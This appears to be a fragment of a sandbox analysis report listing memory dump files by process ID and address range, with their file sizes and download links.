      • memory/584-8-0x00000000020B0000-0x00000000020B1000-memory.dmp
        Filesize

        4KB

        Download
      • memory/584-9-0x0000000001EC0000-0x0000000001EC1000-memory.dmp
        Filesize

        4KB

        Download
      • memory/584-7-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Filesize

        4KB

        Download
      • memory/584-4-0x0000000000000000-mapping.dmp
        Download
      • memory/584-12-0x000000001C500000-0x000000001C501000-memory.dmp
        Filesize

        4KB

        Download
      • memory/584-5-0x000007FEF5960000-0x000007FEF634C000-memory.dmp
        Filesize

        9.9MB

        Download
      • memory/1056-0-0x0000000000554000-0x0000000000556000-memory.dmp
        Filesize

        8KB

        Download
      • memory/1056-2-0x0000000005B0E000-0x0000000005B10000-memory.dmp
        Filesize

        8KB

        Download
      • memory/1056-1-0x0000000006670000-0x0000000006674000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1276-11-0x0000000000000000-mapping.dmp
        Download
      • memory/1604-13-0x0000000000000000-mapping.dmp
        Download
      • memory/1680-3-0x0000000000000000-mapping.dmp
        Download
      • memory/2024-15-0x0000000000000000-mapping.dmp
        Download
      • memory/2024-20-0x00000000007F0000-0x000000000082D000-memory.dmp
        Filesize

        244KB

        Download